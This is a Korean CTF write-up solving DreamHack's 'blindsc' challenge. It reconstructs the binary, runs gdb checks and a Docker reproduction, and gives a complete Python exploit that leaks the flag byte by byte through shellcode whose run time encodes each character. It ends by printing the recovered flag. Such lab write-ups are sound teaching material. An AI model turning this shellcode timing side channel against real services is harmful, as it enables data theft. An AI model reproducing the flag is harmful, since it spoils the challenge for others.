[🥉 Bronze 1] 출력이 전부 /dev/null 인 쉘코드에서 플래그 꺼내기 — DreamHack blindsc 풀이

file blindsc && pwn checksec blindsc

// objdump 로 읽은 main 을 C 로 옮기면
char buf[0x100];              // .bss 0x4060
 
int main(void) {
    setup();                               // stdin/stdout/stderr 무버퍼링
    printf("Input shellcode: ");
    read(0, buf, 0x100);                   // 쉘코드 입력 — 최대 256바이트
 
    void *page = mmap(NULL, 0x1000,
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(page, buf, 0x100);              // 8바이트 × 32 쌍으로 펼쳐져 있다
 
    puts("Not gonna show you the result!");
 
    int fd = open("/dev/null", O_RDWR);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
 
    ((void (*)(void))page)();              // call rdx
    return 0;
}

s|\(call.*<open@plt>\)|\1          <-- fd = open("/dev/null", O_RDWR)|
s|\(mov    esi,0x0\)$|\1                 <-- dup2(fd, 0)|
s|\(mov    esi,0x1\)$|\1                 <-- dup2(fd, 1)  표준출력이 여기서 죽는다|
s|\(mov    esi,0x2\)$|\1                 <-- dup2(fd, 2)|
s|\(call   rdx\)|\1                   <-- 입력받은 쉘코드로 점프|
s|\(lea    rax,\[rip+0xbb1\].*\)|\1   "/dev/null"|

objdump -d --no-show-raw-insn -M intel --start-address=0x1483 --stop-address=0x14d7 blindsc | sed -f annot.sed

#!/usr/bin/env python3
"""고전 orw 쉘코드(open→read→write(1))를 0x100 바이트로 만들어 파일에 쓴다.
gdb 로 붙여 '이게 정확히 플래그를 읽어 놓고도 /dev/null 에 쓴다'를 보기 위한 것."""
from pwn import asm, context
context.arch = 'amd64'; context.os = 'linux'
 
sc = asm("""
    endbr64
    push   0x67616c66              /* "flag" */
    mov    rdi, rsp
    xor    esi, esi                /* O_RDONLY */
    xor    edx, edx
    push   2
    pop    rax
    syscall                        /* open */
    mov    rdi, rax
    mov    rsi, rsp
    sub    rsi, 0x400
    push   0x40
    pop    rdx
    xor    eax, eax
    syscall                        /* read → rax = 길이 */
    mov    rdx, rax
    push   1
    pop    rdi                     /* fd 1 */
    push   1
    pop    rax
    syscall                        /* write(1, flag, 길이) */
    push   60
    pop    rax
    xor    edi, edi
    syscall
""")
open('payload_orw.bin', 'wb').write(sc.ljust(0x100, b'\x90'))
print(f"payload_orw.bin — 쉘코드 {len(sc)}바이트 + NOP 패딩 = 0x100")

set confirm off
set pagination off
# main 끝의 'call rdx' — 쉘코드로 점프하기 직전
break *(main+615)
run < payload_orw.bin
printf "\n===== call rdx 직전: 이제 막 쉘코드로 뛴다 =====\n"
x/3i $pc
printf "\n----- rdx = mmap 으로 잡은 RWX 페이지 -----\n"
x/6i $rdx
printf "\n----- 이 순간 프로세스의 fd 상태 -----\n"
python
import gdb
pid = gdb.selected_inferior().pid
gdb.execute("shell ls -l /proc/%d/fd" % pid)
end
continue

python3 mkpayload.py && gdb -q -batch -x verify.gdb ./blindsc

# 드림핵 pwnable 배포 템플릿을 그대로 복제한 것.
# (내가 과거에 받은 챌린지 Dockerfile 186개 중 다수가 이 모양이다)
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
 
ENV user blindsc
ENV chall_port 7182
 
RUN apt-get update && apt-get -y install socat && rm -rf /var/lib/apt/lists/*
RUN adduser --disabled-password --gecos "" $user
 
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
 
RUN chown root:$user /home/$user/flag && chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user && chmod 440 /home/$user/flag
 
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done

docker build -t blindsc-repro repro && docker run -d --name blindsc-vuln -p 127.0.0.1:7182:7182 blindsc-repro

python3 orw_to_file.py 127.0.0.1 7182

python3 probe_remote.py host3.dreamhack.games 11905

    ; n = flag[i] - 0x20   (출력 가능 문자를 0 기준으로 당긴다)
    movzx  ebx, byte ptr [rsi + i]
    sub    ebx, 0x20
    js     done
loop:
    ; nanosleep(30ms) 를 n 번
    push   0
    push   30000000
    push   0
    mov    rdi, rsp
    xor    esi, esi
    push   35
    pop    rax
    syscall
    add    rsp, 0x18
    dec    ebx
    jnz    loop
done:
    ; exit → 이 시점에 연결이 끊긴다

#!/usr/bin/env python3
"""blindsc (DreamHack Bronze 1, pwnable) — 체류시간 한 축으로 플래그를 빼낸다.
 
main 은 입력받은 0x100 바이트를 RWX 페이지에 복사해 호출해 주지만, 그 직전에
    fd = open("/dev/null", O_RDWR); dup2(fd,0); dup2(fd,1); dup2(fd,2);
를 해서 표준 입출력 세 개를 모두 /dev/null 로 돌린다. 그래서 고전 orw 쉘코드는
플래그를 정확히 읽어 놓고도 /dev/null 에 쏟는다("Not gonna show you the result!").
 
남은 관측 가능한 축은 **프로세스가 언제 끝나는가** 하나다. 드림핵 서버는
쉘코드가 도는 동안 TCP 연결을 붙잡고 있으므로, 연결이 끊기는 시각을 재면
쉘코드가 얼마나 머물렀는지 알 수 있다. 그래서 쉘코드를 이렇게 만든다.
 
    n = flag[i] - 0x20
    nanosleep(30ms) × n  →  exit
 
단위시간과 기본지연은 값이 고정된 보정용 쉘코드 두 개로 먼저 재고,
경계에 걸린 측정값은 여러 번 재서 최솟값을 쓴다(지터는 항상 '더 느리게' 만든다).
마지막으로 후보 전체를 비교해 일치할 때만 길게 머무는 쉘코드로 검산한다.
 
사용법:
    python3 leak.py host3.dreamhack.games 11905
    python3 leak.py host3.dreamhack.games 11905 --start 39 --prefix 'DH{...}'
"""
import argparse
import socket
import sys
import time
 
from pwn import asm, context
 
context.arch = 'amd64'
context.os = 'linux'
 
MAXLEN = 0x100          # main 이 buf → mmap 페이지로 복사하는 바이트 수
READLEN = 0x100         # 쉘코드가 flag 파일에서 한 번에 읽는 양
UNIT_MS = 30            # 한 단위 체류시간
BIAS = 0x20             # 출력 가능 문자 기준점
 
OPEN_READ = f"""
    push   0x67616c66              /* "flag" — imm32 가 부호확장돼 뒤가 NUL */
    mov    rdi, rsp
    xor    esi, esi                /* O_RDONLY */
    xor    edx, edx
    push   2
    pop    rax
    syscall                        /* open("flag", O_RDONLY) */
    mov    rdi, rax
    mov    rsi, rsp
    sub    rsi, 0x400              /* 스택 아래쪽을 버퍼로 */
    mov    edx, {READLEN}
    xor    eax, eax
    syscall                        /* read(fd, buf, READLEN) → rax=길이 */
"""
 
EXIT = """
    push   60
    pop    rax
    xor    edi, edi
    syscall
"""
 
SLEEP_EBX = f"""
    test   ebx, ebx
    jz     done
loop:
    push   0
    push   {UNIT_MS * 1000 * 1000}
    push   0
    mov    rdi, rsp
    xor    esi, esi
    push   35
    pop    rax                     /* SYS_nanosleep */
    syscall
    add    rsp, 0x18
    dec    ebx
    jnz    loop
done:
"""
 
 
def sc_fixed(n):
    """보정용 — 파일을 읽지 않고 정해진 횟수만 머문다."""
    return asm(f"    endbr64\n    mov ebx, {n}\n" + SLEEP_EBX + EXIT)
 
 
def sc_len():
    """read() 반환값(= 플래그 파일 길이)만큼 머문다."""
    return asm("    endbr64\n" + OPEN_READ + "    mov ebx, eax\n" + SLEEP_EBX + EXIT)
 
 
def sc_byte(idx):
    """flag[idx] - 0x20 만큼 머문다."""
    return asm("    endbr64\n" + OPEN_READ + f"""
    movzx  ebx, byte ptr [rsi + {idx}]
    sub    ebx, {BIAS}
    js     done
""" + SLEEP_EBX + EXIT)
 
 
def sc_verify(cand: bytes, units=90):
    """후보 전체가 파일 내용과 같을 때만 길게 머문다 — 제출 전 검산."""
    sc = asm("    endbr64\n" + OPEN_READ + f"""
    lea    rdi, [rip + cand]
    xor    edx, edx
cmp_loop:
    mov    al, byte ptr [rsi + rdx]
    cmp    al, byte ptr [rdi + rdx]
    jne    done
    inc    edx
    cmp    edx, {len(cand)}
    jb     cmp_loop
    mov    ebx, {units}
""" + SLEEP_EBX + EXIT + """
cand:
""" + "".join(f"    .byte {b}\n" for b in cand))
    if len(sc) > MAXLEN:
        sys.exit(f"[-] 검산 쉘코드 {len(sc)}바이트 — 0x100 초과(후보가 너무 길다)")
    return sc
 
 
def measure(host, port, sc, wait=15.0):
    """쉘코드를 던지고 연결이 끊기까지 걸린 시간(초)."""
    s = socket.create_connection((host, port), timeout=10)
    s.settimeout(wait)
    s.sendall(sc.ljust(MAXLEN, b'\x90'))
    t0 = time.time()
    try:
        while s.recv(4096):
            pass
    except socket.timeout:
        s.close()
        return None
    dt = time.time() - t0
    s.close()
    return dt
 
 
class Oracle:
    """보정값을 들고 '체류시간 → n' 변환을 담당한다."""
 
    def __init__(self, host, port):
        self.host, self.port = host, port
        self.base = measure(host, port, sc_fixed(0))
        time.sleep(0.2)
        t90 = measure(host, port, sc_fixed(90))
        self.unit = (t90 - self.base) / 90
        print(f"[*] 보정: 기본지연 {self.base*1000:.1f}ms, "
              f"단위 {self.unit*1000:.2f}ms (n=90 일 때 {t90*1000:.1f}ms)")
 
    def n_of(self, sc, retries=3):
        """경계에 걸리면 다시 재고 최솟값을 쓴다 — 지터는 늘 더 느리게 만든다."""
        best = None
        for attempt in range(retries):
            dt = measure(self.host, self.port, sc)
            time.sleep(0.15)
            if dt is None:                      # 한도보다 오래 머물렀다(값이 너무 큼)
                continue
            best = dt if best is None else min(best, dt)
            raw = (best - self.base) / self.unit
            if abs(raw - round(raw)) < 0.25:       # 충분히 또렷하면 그만 잰다
                return int(round(raw)), best, attempt + 1
        if best is None:
            return None, None, retries
        raw = (best - self.base) / self.unit
        return int(round(raw)), best, retries
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('host')
    ap.add_argument('port', type=int)
    ap.add_argument('--start', type=int, default=0, help='이어서 셀 시작 인덱스')
    ap.add_argument('--prefix', default='', help='이미 확정된 앞부분')
    args = ap.parse_args()
 
    orc = Oracle(args.host, args.port)
 
    n_len, dt, _ = orc.n_of(sc_len())
    print(f"[*] 플래그 파일 길이 = {n_len} 바이트 ({dt*1000:.1f}ms)")
    if not 5 <= n_len <= READLEN:
        sys.exit(f"[-] 길이가 이상하다({n_len}) — 중단")
 
    out = bytearray(args.prefix.encode())
    for i in range(args.start, n_len):
        n, dt, tries = orc.n_of(sc_byte(i))
        ch = n + BIAS
        out.append(ch)
        print(f"    [{i:3d}] {dt*1000:7.1f}ms → n={n:3d} → {chr(ch)!r} "
              f"(측정 {tries}회)   {bytes(out).decode(errors='replace')}")
        if ch == ord('}'):
            print("    '}' 를 만났다 — 여기까지가 플래그다")
            break
 
    cand = bytes(out)
    print(f"\n[*] 후보({len(cand)}바이트): {cand.decode(errors='replace')}")
 
    print("[*] 검산 — 후보 전체가 일치할 때만 길게 머무는 쉘코드")
    n, dt, _ = orc.n_of(sc_verify(cand), retries=1)
    if n >= 80:
        print(f"    {dt*1000:.1f}ms (n={n}) → 일치")
        print(f"\n[+] FLAG = {cand.decode()}")
        return 0
    print(f"    {dt*1000:.1f}ms (n={n}) → 불일치. 틀린 바이트가 있다")
    return 1
 
 
if __name__ == '__main__':
    sys.exit(main())

python3 leak.py host3.dreamhack.games 11905

python3 leak.py host3.dreamhack.games 11905 --start 60 --prefix 'DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681'

DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681700fceb}

python3 ask.py host3.dreamhack.games 11905